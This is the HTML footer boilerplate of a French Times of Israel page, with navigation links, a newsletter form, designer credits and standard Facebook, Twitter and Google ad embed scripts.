							<ul class="main-menu-footer">
								<li><a href="/">Accueil</a></li>
								<li><a href="https://fr.timesofisrael.com/israel-et-ses-voisins/">Israël et Ses Voisins</a></li><li><a href="https://fr.timesofisrael.com/le-monde-juif/">Le Monde Juif</a></li><li><a href="https://fr.timesofisrael.com/israel-inside/">Israël Inside</a></li><li><a href="https://fr.timesofisrael.com/ops-and-blogs/">Ops &amp; Blogs</a></li><li><a href="https://fr.timesofisrael.com/start-up-israel/">Startup Israël</a></li>								<li><a href="/the-daily-edition/">A la Une</a></li>
							</ul>
						</div>
						<div>
							<ul class="social-footer social-small">
					       		<li><a href="/terms/">Termes et Conditions</a></li>
					       		<li><a href="/privacy/">Politique de Confidentialité</a></li>
					       		<li><a href="/about/">Qui Sommes-nous ?</a></li>
					       		<li><a href="/advertise/">Annoncer</a></li>
					       		<li><a href="/contact/">Contactez-nous</a></li>
					       		<li class="facebook"><a href="https://www.facebook.com/timesofisraelfrancais/" rel="external">facebook</a></li>
					       		<li class="twitter"><a href="https://twitter.com/TimesofIsraelFR" rel="external">twitter</a></li>
					       	</ul>
				       </div>
				       <div>
				       		<div class="newsletter" data-website="timesofisrael" data-from="footer">
				       			<form>
				       				<div class="text">Souscrire<br>à la Une</div>
				       				<input type="text" name="email" class="email-address" value="" placeholder="e-mail">
				       				<button type="submit" class="submit"><span>Soumettre</span></button>
				       				<div class="newsletter-error">
				       					<span>L’email est soit manquant ou invalide</span>
				       				</div> 
				       			</form>
				       		</div>
				       </div>
					</div>
					<div class="footer-bottom">
						© 2018 <span>The Times of Israel,</span> all rights reserved
					</div>
				</div>

				<div class="rgbmedia" style="background-color: #fff;color: #000;font-family: Arial,helvetica,sans-serif;text-transform: uppercase;font-size: 10px;height: 60px;">
					<div class="rgbmedia-wrap" style="background-color: #fff;color: #000;font-family: Arial,helvetica,sans-serif;text-transform: uppercase;font-size: 10px;display: flex;align-items: center;justify-content: space-around;height: 60px;max-width: 455px;margin: 0 auto;width: 100%;">
						<div class="text">
							<span class="mh">Concept, design &amp; </span>development by
						</div>
						<div class="rgblogo">
							<a href="http://rgbmedia.org" rel="external" title="RGB Media"><img src="//static.timesofisrael.com/salamandra/images/footer_rgb_black.svg" style="display: block;margin-top: -3px;margin-right: 7px;" height="22"></a>
						</div>		
						<div class="text">
							Powered by
						</div>
						<div class="salalogo" style="display: block;margin-bottom: 2px;">
							<a href="http://www.rgbmedia.org" rel="external" title="Salamandra"><img src="//static.timesofisrael.com/salamandra/images/footer_sala_black.svg" style="display: block;margin-top: -3px;" height="14"></a>
						</div>
					</div>
				</div>
				

			</footer>
				<script type='text/javascript' src='//static.timesofisrael.com/js/responsiveslides.min.js?ver=1.55'></script>
<script type='text/javascript' src='//static.timesofisrael.com/js/jquery.fitvids.js?ver=1502265084'></script>
<script type='text/javascript' src='//static.timesofisrael.com/js/global_functions.js?ver=1521704371'></script>
<script type='text/javascript' src='//static.timesofisrael.com/fr/js/functions.js?ver=1513753300'></script>
	
				
		<!-- facebook -->
		<div id="fb-root"></div>
		<script>
		window.fbAsyncInit = function() {
		    FB.init({
		    	appId      : '123142304440875',
		      	xfbml      : true,
		      	version    : 'v2.8'
		    });
	    	FB.AppEvents.logPageView();

						
		};
		(function(d, s, id){
			var js, fjs = d.getElementsByTagName(s)[0];
			if (d.getElementById(id)) {return;}
			js = d.createElement(s); js.id = id;
			js.src = "//connect.facebook.net/fr_FR/sdk.js";
			fjs.parentNode.insertBefore(js, fjs);
		}(document, 'script', 'facebook-jssdk'));
		</script>
		<!-- Twitter -->
		<script>
		window.twttr = (function(d, s, id) {
		  var js, fjs = d.getElementsByTagName(s)[0],
		    t = window.twttr || {};
		  if (d.getElementById(id)) return t;
		  js = d.createElement(s);
		  js.id = id;
		  js.src = "https://platform.twitter.com/widgets.js";
		  fjs.parentNode.insertBefore(js, fjs);
		
		  t._e = [];
		  t.ready = function(f) {
		    t._e.push(f);
		  };
		
		  return t;
		}(document, "script", "twitter-wjs"));
		</script>		
		
		
		<!-- interstitial ad -->
				<script src='https://www.googletagservices.com/tag/js/gpt.js'>
  		googletag.pubads().definePassback('/264857099/TOI_FR/Special/Desktop_Interstitial', [1, 1]).setTargeting('TOI_articleID', []).display();
		</script>
				<!-- /end interstitial ad -->

	</body>
</html>